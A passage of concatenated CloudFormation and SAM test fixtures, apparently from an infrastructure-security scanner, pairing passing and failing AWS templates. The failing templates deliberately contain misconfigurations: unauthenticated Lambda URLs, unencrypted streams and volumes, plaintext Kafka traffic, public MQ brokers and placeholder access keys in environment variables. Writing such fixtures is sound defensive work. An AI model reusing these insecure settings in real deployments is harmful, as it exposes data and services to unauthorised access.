Action: 'kms:*' Resource: '*' EnableKeyRotation: true ================================================ FILE: tests/cloudformation/checks/resource/aws/example_KMSKeyWildCardPrincipal/KMSKeyWildCardPrincipal-PASSED.yaml ================================================ AWSTemplateFormatVersion: 2010-09-09 Description: KMS key example template Resources: Root: Type: AWS::KMS::Key Properties: KeyPolicy: Version: '2012-10-17' Id: key-default-1 Statement: - Sid: Enable IAM User Permissions Effect: Allow Principal: AWS: !Sub 'arn:aws:iam::${AWS::AccountId}:root' Action: 'kms:*' Resource: '*' EnableKeyRotation: true Deny: Type: AWS::KMS::Key Properties: KeyPolicy: Version: '2012-10-17' Id: key-default-1 Statement: - Sid: Enable Permissions for All AWS Principals Effect: Deny Principal: AWS: '*' Action: kms:* Resource: '*' EnableKeyRotation: true ================================================ FILE: tests/cloudformation/checks/resource/aws/example_KMSRotation/KMSRotation-FAILED.yml ================================================ AWSTemplateFormatVersion: 2010-09-09 Description: KMS key example template Resources: SymmetricKey: Type: AWS::KMS::Key Properties: KeyPolicy: Version: '2012-10-17' Id: key-default-1 Statement: - Sid: Enable IAM User Permissions Effect: Allow Principal: AWS: Fn::Join: - '' - - 'arn:aws:iam::' - Ref: AWS::AccountId - :root Action: kms:* Resource: '*' ================================================ FILE: tests/cloudformation/checks/resource/aws/example_KMSRotation/KMSRotation-PASSED-Asymmetric.yml ================================================ AWSTemplateFormatVersion: 2010-09-09 Description: KMS key example template Resources: AsymmetricKey: Type: AWS::KMS::Key Properties: KeySpec: RSA_4096 KeyPolicy: Version: '2012-10-17' Id: key-default-1 Statement: - Sid: Enable IAM User Permissions Effect: Allow Principal: AWS: Fn::Join: - '' - - 'arn:aws:iam::' - Ref: AWS::AccountId - :root Action: kms:* Resource: '*' EnableKeyRotation: true ================================================ FILE: tests/cloudformation/checks/resource/aws/example_KMSRotation/KMSRotation-PASSED-Symmetric.yml ================================================ AWSTemplateFormatVersion: 2010-09-09 Description: KMS key example template Resources: SymmetricKey: Type: AWS::KMS::Key Properties: KeyPolicy: Version: '2012-10-17' Id: key-default-1 Statement: - Sid: Enable IAM User Permissions Effect: Allow Principal: AWS: Fn::Join: - '' - - 'arn:aws:iam::' - Ref: AWS::AccountId - :root Action: kms:* Resource: '*' EnableKeyRotation: true ================================================ FILE: tests/cloudformation/checks/resource/aws/example_KinesisStreamEncryptionType/FAILED.yml ================================================ AWSTemplateFormatVersion: 2010-09-09 Resources: NoEncryption: Type: AWS::Kinesis::Stream Properties: Name: MyKinesisStream RetentionPeriodHours: 168 ShardCount: 3 ================================================ FILE: tests/cloudformation/checks/resource/aws/example_KinesisStreamEncryptionType/PASSED.yml ================================================ AWSTemplateFormatVersion: 2010-09-09 Resources: KMSEncryption: Type: AWS::Kinesis::Stream Properties: Name: MyKinesisStream RetentionPeriodHours: 168 ShardCount: 3 StreamEncryption: EncryptionType: KMS KeyId: myKey ================================================ FILE: tests/cloudformation/checks/resource/aws/example_LambdaDLQConfigured/FAIL.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: Default: Type: AWS::Lambda::Function Properties: Handler: index.handler Role: arn:aws:iam::123456789012:role/lambda-role Code: S3Bucket: my-bucket S3Key: function.zip Runtime: python3.9 ================================================ FILE: tests/cloudformation/checks/resource/aws/example_LambdaDLQConfigured/PASS.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: Enabled: Type: AWS::Lambda::Function Properties: Handler: index.handler Role: arn:aws:iam::123456789012:role/lambda-role Code: S3Bucket: my-bucket S3Key: function.zip Runtime: python3.9 DeadLetterConfig: TargetArn: arn:aws:sqs:eu-central-1:123456789012:dlq ================================================ FILE: tests/cloudformation/checks/resource/aws/example_LambdaDLQConfigured/sam.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Transform: AWS::Serverless-2016-10-31 Resources: Enabled: Type: AWS::Serverless::Function Properties: Handler: app.lambdaHandler Runtime: python3.9 DeadLetterQueue: TargetArn: arn:aws:sqs:eu-central-1:123456789012:dlq Type: SQS Default: Type: AWS::Serverless::Function Properties: Handler: app.lambdaHandler Runtime: python3.9 ================================================ FILE: tests/cloudformation/checks/resource/aws/example_LambdaEnvironmentCredentials/FAIL.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: Secret: Type: AWS::Lambda::Function Properties: Runtime: nodejs12.x Role: arn:aws:iam::123456789012:role/lambda-role Handler: index.handler Environment: Variables: key1: AKIAAAAAAAAAAAAAAAAA # checkov:skip=CKV_SECRET_2 test secret key2: Val2 Code: ZipFile: | print('hi') Description: Invoke a function during stack creation. TracingConfig: Mode: Active ================================================ FILE: tests/cloudformation/checks/resource/aws/example_LambdaEnvironmentCredentials/PASS.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: NoSecret: Type: AWS::Lambda::Function Properties: Runtime: nodejs12.x Role: arn:aws:iam::123456789012:role/lambda-role Handler: index.handler Environment: Variables: key1: notasecret key2: Val2 Code: ZipFile: | print('hi') Description: Invoke a function during stack creation. TracingConfig: Mode: Active NoEnv: Type: AWS::Lambda::Function Properties: Runtime: nodejs12.x Role: arn:aws:iam::123456789012:role/lambda-role Handler: index.handler Code: ZipFile: | print('hi') Description: Invoke a function during stack creation. TracingConfig: Mode: Active EnvNull: Type: AWS::Lambda::Function Properties: Runtime: nodejs12.x Role: arn:aws:iam::123456789012:role/lambda-role Handler: index.handler Environment: None Code: ZipFile: | print('hi') Description: Invoke a function during stack creation. TracingConfig: Mode: Active UnresolvedEnv: Type: AWS::Lambda::Function Properties: Runtime: nodejs12.x Role: arn:aws:iam::123456789012:role/lambda-role Handler: index.handler Environment: Variables: MY_COOL_STATE_MACHINE: !Ref MySuperCoolFortyCharLongStateMachineeeee Code: ZipFile: | print('hi') Description: Invoke a function during stack creation. TracingConfig: Mode: Active ================================================ FILE: tests/cloudformation/checks/resource/aws/example_LambdaEnvironmentCredentials/PASS2.yaml ================================================ Resources: Pass2: Type: "AWS::Lambda::Function" Properties: FunctionName: "NameOfLambdaFunction" Handler: "handler.handlerverylongcustomhandlernameforservi" Runtime: "python3.9" Role: !GetAtt LambdaExecutionRole.Arn Code: S3Bucket: "your-code-bucket" S3Key: "path/to/your-code.zip" Environment: Variables: STAGE: "staging" LAMBDA: "handler.handlerverylongcustomhandlernameforservi" ================================================ FILE: tests/cloudformation/checks/resource/aws/example_LambdaEnvironmentCredentials/PASS3.yaml ================================================ Resources: CDKSecret: Type: AWS::SecretsManager::Secret Properties: Name: my-secret CDKLambda: Type: AWS::Lambda::Function Properties: Code: S3Bucket: S3Key: Handler: handler Runtime: provided.al2 Timeout: 60 Architectures: - arm64 Environment: Variables: APP_PRIVATE_KEY_SECRET_NAME: my-secret TAGS: git.commit.sha:55e7e7703f17c41f276caf8f1a1b744d674259f8 Role: CDKSecretPolicy: Type: AWS::IAM::Policy Properties: PolicyName: SecretAccessPolicy Roles: - PolicyDocument: Statement: - Effect: Allow Action: - secretsmanager:GetSecretValue Resource: - !Ref CDKSecret ================================================ FILE: tests/cloudformation/checks/resource/aws/example_LambdaEnvironmentCredentials/sam.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Transform: AWS::Serverless-2016-10-31 Globals: Function: Handler: app.lambdaHandler Runtime: python3.9 Resources: NoSecret: Type: AWS::Serverless::Function Properties: Handler: app.lambdaHandler Runtime: python3.9 Environment: Variables: key: value NoEnv: Type: AWS::Serverless::Function Properties: Handler: app.lambdaHandler Runtime: python3.9 NoProperties: Type: AWS::Serverless::Function Secret: Type: AWS::Serverless::Function Properties: Handler: app.lambdaHandler Runtime: python3.9 Environment: Variables: key: value AWS_ACCESS_KEY_ID: AKIAIOSFODNN7EXAMPLE # checkov:skip=CKV_SECRET_2 test secret ================================================ FILE: tests/cloudformation/checks/resource/aws/example_LambdaEnvironmentEncryptionSettings/FAIL.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: EnvAndNoKey: Type: AWS::Lambda::Function Properties: Role: arn:aws:iam::123456789012:role/lambda-role Code: ZipFile: | print('test') Environment: Variables: key: value ================================================ FILE: tests/cloudformation/checks/resource/aws/example_LambdaEnvironmentEncryptionSettings/PASS.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: EnvAndKey: Type: AWS::Lambda::Function Properties: Role: arn:aws:iam::123456789012:role/lambda-role Code: ZipFile: | print('test') Environment: Variables: key: value KmsKeyArn: arn:aws:kms:us-west-2:111122223333:key/1234abcd-12ab-34cd-56ef-1234567890ab NoEnvAndNoKey: Type: AWS::Lambda::Function Properties: Role: arn:aws:iam::123456789012:role/lambda-role Code: ZipFile: | print('test') ================================================ FILE: tests/cloudformation/checks/resource/aws/example_LambdaEnvironmentEncryptionSettings/sam.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Transform: AWS::Serverless-2016-10-31 Resources: EnvAndKey: Type: AWS::Serverless::Function Properties: Handler: app.lambdaHandler Runtime: python3.9 Environment: Variables: key: value KmsKeyArn: arn:aws:kms:us-west-2:111122223333:key/1234abcd-12ab-34cd-56ef-1234567890ab NoEnvAndNoKey: Type: AWS::Serverless::Function Properties: Handler: app.lambdaHandler Runtime: python3.9 EnvAndNoKey: Type: AWS::Serverless::Function Properties: Handler: app.lambdaHandler Runtime: python3.9 Environment: Variables: key: value ================================================ FILE: tests/cloudformation/checks/resource/aws/example_LambdaFunctionLevelConcurrentExecutionLimit/FAIL.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: Default: Type: AWS::Lambda::Function Properties: Handler: index.handler Role: arn:aws:iam::123456789012:role/lambda-role Code: S3Bucket: my-bucket S3Key: function.zip Runtime: python3.9 ================================================ FILE: tests/cloudformation/checks/resource/aws/example_LambdaFunctionLevelConcurrentExecutionLimit/PASS.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: Enabled: Type: AWS::Lambda::Function Properties: Handler: index.handler Role: arn:aws:iam::123456789012:role/lambda-role Code: S3Bucket: my-bucket S3Key: function.zip Runtime: python3.9 ReservedConcurrentExecutions: 100 ================================================ FILE: tests/cloudformation/checks/resource/aws/example_LambdaFunctionLevelConcurrentExecutionLimit/sam.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Transform: AWS::Serverless-2016-10-31 Resources: Enabled: Type: AWS::Serverless::Function Properties: Handler: app.lambdaHandler Runtime: python3.9 ReservedConcurrentExecutions: 100 Default: Type: AWS::Serverless::Function Properties: Handler: app.lambdaHandler Runtime: python3.9 ================================================ FILE: tests/cloudformation/checks/resource/aws/example_LambdaFunctionURLAuth/LambdaFunctionURLAuth_Fail.yml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: AuthTypeFail: Type: AWS::Lambda::Url Properties: AuthType: NONE TargetFunctionArn: arn:aws:lambda:us-west-2:123456789012:function:my-function ================================================ FILE: tests/cloudformation/checks/resource/aws/example_LambdaFunctionURLAuth/LambdaFunctionURLAuth_Pass.yml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: AuthTypePass: Type: AWS::Lambda::Url Properties: AuthType: AWS_IAM TargetFunctionArn: arn:aws:lambda:us-west-2:123456789012:function:my-function ================================================ FILE: tests/cloudformation/checks/resource/aws/example_LambdaInVPC/FAIL.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: Default: Type: AWS::Lambda::Function Properties: Handler: index.handler Role: arn:aws:iam::123456789012:role/lambda-role Code: S3Bucket: my-bucket S3Key: function.zip Runtime: python3.9 ================================================ FILE: tests/cloudformation/checks/resource/aws/example_LambdaInVPC/PASS.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: Enabled: Type: AWS::Lambda::Function Properties: Handler: index.handler Role: arn:aws:iam::123456789012:role/lambda-role Code: S3Bucket: my-bucket S3Key: function.zip Runtime: python3.9 VpcConfig: SecurityGroupIds: - sg-01234567 SubnetIds: - subnet-01234567 - subnet-34567890 ================================================ FILE: tests/cloudformation/checks/resource/aws/example_LambdaInVPC/sam.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Transform: AWS::Serverless-2016-10-31 Resources: Enabled: Type: AWS::Serverless::Function Properties: Handler: app.lambdaHandler Runtime: python3.9 VpcConfig: SecurityGroupIds: - sg-12345 SubnetIds: - subnet-12345 - subnet-67890 Default: Type: AWS::Serverless::Function Properties: Handler: app.lambdaHandler Runtime: python3. ================================================ FILE: tests/cloudformation/checks/resource/aws/example_LambdaServicePermission/LambdaServicePermission_Fail.yml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: FunctionFailPermission: Type: AWS::Lambda::Permission Properties: Action: lambda:InvokeFunction FunctionName: TestFunction Principal: apigateway.amazonaws.com ================================================ FILE: tests/cloudformation/checks/resource/aws/example_LambdaServicePermission/LambdaServicePermission_Pass.yml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: FunctionPassingArnPermission: Type: AWS::Lambda::Permission Properties: Action: lambda:InvokeFunction FunctionName: TestFunction Principal: apigateway.amazonaws.com SourceArn: arn:aws:apigateway:us-east-1::/apis/qwerty FunctionPassingAccountPermission: Type: AWS::Lambda::Permission Properties: Action: lambda:InvokeFunction FunctionName: TestFunction Principal: apigateway.amazonaws.com SourceAccount: 901234567812 FunctionStringPrincipallPermission: Type: AWS::Lambda::Permission Properties: Action: lambda:InvokeFunction FunctionName: TestFunction Principal: 901234567812 ExampleS3ServicePermission: Type: AWS::Lambda::Permission Properties: FunctionName: TestFunction Action: lambda:InvokeFunction Principal: s3.amazonaws.com SourceAccount: 901234567812 SourceArn: arn:aws:apigateway:us-east-1::/apis/qwerty ExampleEventsServicePermission: Type: AWS::Lambda::Permission Properties: FunctionName: TestFunction Action: lambda:InvokeFunction Principal: events.amazonaws.com SourceAccount: 901234567812 SourceArn: arn:aws:apigateway:us-east-1::/apis/qwerty ================================================ FILE: tests/cloudformation/checks/resource/aws/example_LaunchConfigurationEBSEncryption/LaunchConfigurationEBSEncryption-FAILED-no-enc.yml ================================================ AWSTemplateFormatVersion: 2010-09-09 Description: ElasticsearchDomain resource Resources: AutoScalingConfig: Type: AWS::AutoScaling::LaunchConfiguration Properties: ImageId: ami-0ff8a91507f77f867 SecurityGroups: - myExistingEC2SecurityGroup InstanceType: m1.small BlockDeviceMappings: - DeviceName: "/dev/sdk" Ebs: VolumeSize: 50 - DeviceName: "/dev/sdf" Ebs: Encrypted: true ================================================ FILE: tests/cloudformation/checks/resource/aws/example_LaunchConfigurationEBSEncryption/LaunchConfigurationEBSEncryption-PASSED-ephermal.yml ================================================ AWSTemplateFormatVersion: 2010-09-09 Description: ElasticsearchDomain resource Resources: AutoScalingConfig: Type: AWS::AutoScaling::LaunchConfiguration Properties: ImageId: ami-0ff8a91507f77f867 SecurityGroups: - myExistingEC2SecurityGroup InstanceType: m1.small BlockDeviceMappings: - DeviceName: "/dev/sdk" Ebs: VolumeSize: 50 Encrypted: true - DeviceName: "/dev/sdc" VirtualName: ephemeral0 ================================================ FILE: tests/cloudformation/checks/resource/aws/example_LaunchConfigurationEBSEncryption/LaunchConfigurationEBSEncryption-PASSED.yml ================================================ AWSTemplateFormatVersion: 2010-09-09 Description: ElasticsearchDomain resource Resources: AutoScalingConfig: Type: AWS::AutoScaling::LaunchConfiguration Properties: ImageId: ami-0ff8a91507f77f867 SecurityGroups: - myExistingEC2SecurityGroup InstanceType: m1.small BlockDeviceMappings: - DeviceName: "/dev/sdk" Ebs: VolumeSize: 50 Encrypted: true - DeviceName: "/dev/sdf" Ebs: Encrypted: true ================================================ FILE: tests/cloudformation/checks/resource/aws/example_LaunchConfigurationEBSEncryption/LaunchConfigurationEBSEncryption-UNKNOWN.yml ================================================ AWSTemplateFormatVersion: 2010-09-09 Description: ElasticsearchDomain resource Conditions: Storage: !Not [!Equals [0, 0]] Mappings: Test: Entry1: AMI: ami-0128839b21d19300e Entry2: AMI: ami-0583ca2f3ce809fcb Resources: AutoScalingConfig: Type: AWS::AutoScaling::LaunchConfiguration Properties: ImageId: ami-0ff8a91507f77f867 SecurityGroups: - myExistingEC2SecurityGroup InstanceType: m1.small BlockDeviceMappings: !If - Storage - - DeviceName: !FindInMap - Test - "Entry1" - "Entry2" Ebs: VolumeSize: VolumeSize" DeleteOnTermination: "True" - DeviceName: "/dev/sdk" Ebs: VolumeSize: 50 Encrypted: true - - DeviceName: "/dev/sdf" Ebs: Encrypted: true ================================================ FILE: tests/cloudformation/checks/resource/aws/example_LaunchConfigurationEBSEncryption/LaunchConfigurationEBSEncryption-UNKNOWN_2.yml ================================================ AWSTemplateFormatVersion: 2010-09-09 Description: ElasticsearchDomain resource Resources: AutoScalingConfig: Metadata: cfn-lint: config: ignore_checks: - E3002 Type: AWS::AutoScaling::LaunchConfiguration Properties: ImageId: ami-0ff8a91507f77f867 SecurityGroups: - myExistingEC2SecurityGroup InstanceType: m1.small BlockDeviceMappings: null ================================================ FILE: tests/cloudformation/checks/resource/aws/example_MQBrokerAuditLogging/FAIL.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: Default: Type: "AWS::AmazonMQ::Broker" Properties: AutoMinorVersionUpgrade: false BrokerName: Example DeploymentMode: SINGLE_INSTANCE EngineType: ACTIVEMQ EngineVersion: 5.15.0 HostInstanceType: mq.t3.micro PubliclyAccessible: true Users: - ConsoleAccess: true Groups: - MyGroup Password: AmazonMqPassword # checkov:skip=CKV_SECRET_6 test secret Username: AmazonMqUsername Disabled: Type: "AWS::AmazonMQ::Broker" Properties: AutoMinorVersionUpgrade: false BrokerName: Example DeploymentMode: SINGLE_INSTANCE EngineType: ACTIVEMQ EngineVersion: 5.15.0 HostInstanceType: mq.t3.micro Logs: Audit: false PubliclyAccessible: true Users: - ConsoleAccess: true Groups: - MyGroup Password: AmazonMqPassword # checkov:skip=CKV_SECRET_6 test secret Username: AmazonMqUsername ================================================ FILE: tests/cloudformation/checks/resource/aws/example_MQBrokerAuditLogging/PASS.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: Enabled: Type: "AWS::AmazonMQ::Broker" Properties: AutoMinorVersionUpgrade: false BrokerName: Example DeploymentMode: SINGLE_INSTANCE EngineType: ACTIVEMQ EngineVersion: 5.15.0 HostInstanceType: mq.t3.micro Logs: Audit: true PubliclyAccessible: true Users: - ConsoleAccess: true Groups: - MyGroup Password: AmazonMqPassword # checkov:skip=CKV_SECRET_6 test secret Username: AmazonMqUsername ================================================ FILE: tests/cloudformation/checks/resource/aws/example_MQBrokerAuditLogging/UNKNOWN.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: RabitMQ: Type: "AWS::AmazonMQ::Broker" Properties: AutoMinorVersionUpgrade: false BrokerName: Example DeploymentMode: SINGLE_INSTANCE EngineType: RABBITMQ EngineVersion: 3.8.6 HostInstanceType: mq.t3.micro Logs: General: true PubliclyAccessible: true Users: - Password: AmazonMqPassword Username: AmazonMqUsername # checkov:skip=CKV_SECRET_6 test secret ================================================ FILE: tests/cloudformation/checks/resource/aws/example_MSKClusterEncryption/MSKClusterEncryption-FAIL.yaml ================================================ Resources: MSKClusterFAILskip: Type: "AWS::MSK::Cluster" Properties: ClusterName: "bad" KafkaVersion: "3.2.0" NumberOfBrokerNodes: 2 BrokerNodeGroupInfo: StorageInfo: EBSStorageInfo: VolumeSize: 1100 ClientSubnets: - "subnet-0562ef1d304b968f4" - "subnet-08895dbf9e060579b" InstanceType: "kafka.t3.small" SecurityGroups: - "sg-002ed1a53dc5fe0ad" ConnectivityInfo: PublicAccess: Type: "SERVICE_PROVIDED_EIPS" ConfigurationInfo: Arn: "" Revision: 0 OpenMonitoring: Prometheus: JmxExporter: EnabledInBroker: false NodeExporter: EnabledInBroker: false Tags: pike: "permissions" MSKClusterFAILnotTLS: Type: "AWS::MSK::Cluster" Properties: ClusterName: "bad" KafkaVersion: "3.2.0" NumberOfBrokerNodes: 2 BrokerNodeGroupInfo: StorageInfo: EBSStorageInfo: VolumeSize: 1100 ClientSubnets: - "subnet-0562ef1d304b968f4" - "subnet-08895dbf9e060579b" InstanceType: "kafka.t3.small" SecurityGroups: - "sg-002ed1a53dc5fe0ad" ConnectivityInfo: PublicAccess: Type: "SERVICE_PROVIDED_EIPS" ConfigurationInfo: Arn: "" Revision: 0 EncryptionInfo: EncryptionAtRest: DataVolumeKMSKeyId: "arn:aws:kms:eu-west-2:680235478471:key/fd160011-126e-4bec-b370-c8765b5c6a37" EncryptionInTransit: ClientBroker: "PLAINTEXT" InCluster: true OpenMonitoring: Prometheus: JmxExporter: EnabledInBroker: false NodeExporter: EnabledInBroker: false Tags: pike: "permissions" ================================================ FILE: tests/cloudformation/checks/resource/aws/example_MSKClusterEncryption/MSKClusterEncryption-PASS.yaml ================================================ Resources: MSKClusterPASSTLS: Type: "AWS::MSK::Cluster" Properties: ClusterName: "bad" KafkaVersion: "3.2.0" NumberOfBrokerNodes: 2 BrokerNodeGroupInfo: StorageInfo: EBSStorageInfo: VolumeSize: 1100 ClientSubnets: - "subnet-0562ef1d304b968f4" - "subnet-08895dbf9e060579b" InstanceType: "kafka.t3.small" SecurityGroups: - "sg-002ed1a53dc5fe0ad" ConnectivityInfo: PublicAccess: Type: "SERVICE_PROVIDED_EIPS" ConfigurationInfo: Arn: "" Revision: 0 EncryptionInfo: EncryptionAtRest: DataVolumeKMSKeyId: "arn:aws:kms:eu-west-2:680235478471:key/fd160011-126e-4bec-b370-c8765b5c6a37" EncryptionInTransit: ClientBroker: "TLS" InCluster: true OpenMonitoring: Prometheus: JmxExporter: EnabledInBroker: false NodeExporter: EnabledInBroker: false Tags: pike: "permissions" ================================================ FILE: tests/cloudformation/checks/resource/aws/example_MSKClusterLogging/MSKClusterNodesArePrivate-FAIL.yaml ================================================ Resources: MSKClusterFAILempty: Type: "AWS::MSK::Cluster" Properties: ClusterName: "bad" KafkaVersion: "3.2.0" NumberOfBrokerNodes: 2 BrokerNodeGroupInfo: StorageInfo: EBSStorageInfo: VolumeSize: 1100 ClientSubnets: - "subnet-0562ef1d304b968f4" - "subnet-08895dbf9e060579b" InstanceType: "kafka.t3.small" SecurityGroups: - "sg-002ed1a53dc5fe0ad" ConnectivityInfo: PublicAccess: Type: "SERVICE_PROVIDED_EIPS" ConfigurationInfo: Arn: "" Revision: 0 EncryptionInfo: EncryptionAtRest: DataVolumeKMSKeyId: "arn:aws:kms:eu-west-2:680235478471:key/fd160011-126e-4bec-b370-c8765b5c6a37" EncryptionInTransit: ClientBroker: "TLS" InCluster: true OpenMonitoring: Prometheus: JmxExporter: EnabledInBroker: false NodeExporter: EnabledInBroker: false Tags: pike: "permissions" MSKClusterFAILdeclared: Type: "AWS::MSK::Cluster" Properties: ClusterName: "bad" KafkaVersion: "3.2.0" NumberOfBrokerNodes: 2 BrokerNodeGroupInfo: StorageInfo: EBSStorageInfo: VolumeSize: 1100 ClientSubnets: - "subnet-0562ef1d304b968f4" - "subnet-08895dbf9e060579b" InstanceType: "kafka.t3.small" SecurityGroups: - "sg-002ed1a53dc5fe0ad" ConnectivityInfo: PublicAccess: Type: "SERVICE_PROVIDED_EIPS" ConfigurationInfo: Arn: "" Revision: 0 EncryptionInfo: EncryptionAtRest: DataVolumeKMSKeyId: "arn:aws:kms:eu-west-2:680235478471:key/fd160011-126e-4bec-b370-c8765b5c6a37" EncryptionInTransit: ClientBroker: "TLS" InCluster: true OpenMonitoring: Prometheus: JmxExporter: EnabledInBroker: false NodeExporter: EnabledInBroker: false Tags: pike: "permissions" ================================================ FILE: tests/cloudformation/checks/resource/aws/example_MSKClusterLogging/MSKClusterNodesArePrivate-PASS.yaml ================================================ Resources: MSKClusterPASS: Type: AWS::MSK::Cluster Properties: BrokerNodeGroupInfo: ClientSubnets: - String InstanceType: kafka.m5.8xlarge ClusterName: String EnhancedMonitoring: DEFAULT KafkaVersion: String LoggingInfo: BrokerLogs: CloudWatchLogs: Enabled: True LogGroup: String Firehose: DeliveryStream: String Enabled: True S3: Bucket: String Enabled: True Prefix: String NumberOfBrokerNodes: 3 Tags: Key: Value MSKClusterPASSskip: Type: AWS::MSK::Cluster Properties: BrokerNodeGroupInfo: ClientSubnets: - String InstanceType: kafka.m5.8xlarge ClusterName: String EnhancedMonitoring: DEFAULT KafkaVersion: String LoggingInfo: BrokerLogs: CloudWatchLogs: Enabled: False LogGroup: String Firehose: DeliveryStream: String Enabled: True S3: Bucket: String Enabled: True Prefix: String NumberOfBrokerNodes: 5 Tags: Key: Value ================================================ FILE: tests/cloudformation/checks/resource/aws/example_MSKClusterNodesArePrivate/MSKClusterNodesArePrivate-FAIL.yaml ================================================ Resources: MSKCluster: Type: "AWS::MSK::Cluster" Properties: ClusterName: "bad" KafkaVersion: "3.2.0" NumberOfBrokerNodes: 2 BrokerNodeGroupInfo: StorageInfo: EBSStorageInfo: VolumeSize: 1100 ClientSubnets: - "subnet-0562ef1d304b968f4" - "subnet-08895dbf9e060579b" InstanceType: "kafka.t3.small" SecurityGroups: - "sg-002ed1a53dc5fe0ad" ConnectivityInfo: PublicAccess: Type: "SERVICE_PROVIDED_EIPS" ConfigurationInfo: Arn: "" Revision: 0 EncryptionInfo: EncryptionAtRest: DataVolumeKMSKeyId: "arn:aws:kms:eu-west-2:680235478471:key/fd160011-126e-4bec-b370-c8765b5c6a37" EncryptionInTransit: ClientBroker: "TLS" InCluster: true OpenMonitoring: Prometheus: JmxExporter: EnabledInBroker: false NodeExporter: EnabledInBroker: false Tags: pike: "permissions" MSKCluster2: Type: AWS::MSK::Cluster Properties: BrokerNodeGroupInfo: BrokerAZDistribution: String ClientSubnets: - String ConnectivityInfo: PublicAccess: Type: SERVICE_PROVIDED_EIPS InstanceType: String SecurityGroups: - String ClusterName: String EnhancedMonitoring: DEFAULT KafkaVersion: String NumberOfBrokerNodes: 5 Tags: Key: Value ================================================ FILE: tests/cloudformation/checks/resource/aws/example_MSKClusterNodesArePrivate/MSKClusterNodesArePrivate-PASS.yaml ================================================ Resources: MSKClusterPASS: Type: "AWS::MSK::Cluster" Properties: ClusterName: "bad" KafkaVersion: "3.2.0" NumberOfBrokerNodes: 2 BrokerNodeGroupInfo: StorageInfo: EBSStorageInfo: VolumeSize: 1100 ClientSubnets: - "subnet-0562ef1d304b968f4" - "subnet-08895dbf9e060579b" InstanceType: "kafka.t3.small" SecurityGroups: - "sg-002ed1a53dc5fe0ad" ConnectivityInfo: PublicAccess: Type: "DISABLED" ConfigurationInfo: Arn: "" Revision: 0 EncryptionInfo: EncryptionAtRest: DataVolumeKMSKeyId: "arn:aws:kms:eu-west-2:680235478471:key/fd160011-126e-4bec-b370-c8765b5c6a37" EncryptionInTransit: ClientBroker: "TLS" InCluster: true OpenMonitoring: Prometheus: JmxExporter: EnabledInBroker: false NodeExporter: EnabledInBroker: false Tags: pike: "permissions" MSKClusterPASS2: Type: "AWS::MSK::Cluster" Properties: ClusterName: "bad" KafkaVersion: "3.2.0" NumberOfBrokerNodes: 2 BrokerNodeGroupInfo: StorageInfo: EBSStorageInfo: VolumeSize: 1100 ClientSubnets: - "subnet-0562ef1d304b968f4" - "subnet-08895dbf9e060579b" InstanceType: "kafka.t3.small" SecurityGroups: - "sg-002ed1a53dc5fe0ad" ConfigurationInfo: Arn: "" Revision: 0 EncryptionInfo: EncryptionAtRest: DataVolumeKMSKeyId: "arn:aws:kms:eu-west-2:680235478471:key/fd160011-126e-4bec-b370-c8765b5c6a37" EncryptionInTransit: ClientBroker: "TLS" InCluster: true OpenMonitoring: Prometheus: JmxExporter: EnabledInBroker: false NodeExporter: EnabledInBroker: false Tags: pike: "permissions" ================================================ FILE: tests/cloudformation/checks/resource/aws/example_NeptuneClusterBackupRetention/NeptuneClusterBackupRetention-FAILED.yml ================================================ AWSTemplateFormatVersion: 2010-09-09 Resources: NeptuneDBClusterDefault: Type: "AWS::Neptune::DBCluster" Properties: DBClusterIdentifier: DBClusterIdentifier NeptuneDBClusterNotAdequate: Type: "AWS::Neptune::DBCluster" Properties: DBClusterIdentifier: DBClusterIdentifier BackupRetentionPeriod: 3 ================================================ FILE: tests/cloudformation/checks/resource/aws/example_NeptuneClusterBackupRetention/NeptuneClusterBackupRetention-PASSED.yml ================================================ AWSTemplateFormatVersion: 2010-09-09 Resources: NeptuneDBClusterAdequate: Type: "AWS::Neptune::DBCluster" Properties: DBClusterIdentifier: DBClusterIdentifier BackupRetentionPeriod: 7 ================================================ FILE: tests/cloudformation/checks/resource/aws/example_NeptuneClusterLogging/NeptuneClusterLogging-FAILED.yml ================================================ AWSTemplateFormatVersion: 2010-09-09 Resources: NeptuneDBClusterDefault: Type: "AWS::Neptune::DBCluster" Properties: DBClusterIdentifier: DBClusterIdentifier NeptuneDBClusterEmpty: Type: "AWS::Neptune::DBCluster" Properties: DBClusterIdentifier: DBClusterIdentifier EnableCloudwatchLogsExports: [] ================================================ FILE: tests/cloudformation/checks/resource/aws/example_NeptuneClusterLogging/NeptuneClusterLogging-PASSED.yml ================================================ AWSTemplateFormatVersion: 2010-09-09 Resources: NeptuneDBClusterEnabled: Type: "AWS::Neptune::DBCluster" Properties: DBClusterIdentifier: DBClusterIdentifier EnableCloudwatchLogsExports: ["audit"] ================================================ FILE: tests/cloudformation/checks/resource/aws/example_NeptuneClusterStorageEncrypted/NeptuneClusterStorageEncrypted-FAILED.yml ================================================ AWSTemplateFormatVersion: 2010-09-09 Description: Example Neptune DB cluster Resources: NeptuneDBCluster: Type: "AWS::Neptune::DBCluster" Properties: BackupRetentionPeriod: 100 DBClusterIdentifier: DBClusterIdentifier DBClusterParameterGroupName: NeptuneDBClusterParameterGroup DBSubnetGroupName: NeptuneDBSubnetGroup IamAuthEnabled: true PreferredBackupWindow: NeptuneDBClusterPreferredBackupWindow PreferredMaintenanceWindow: NeptuneDBClusterPreferredMaintenanceWindow ================================================ FILE: 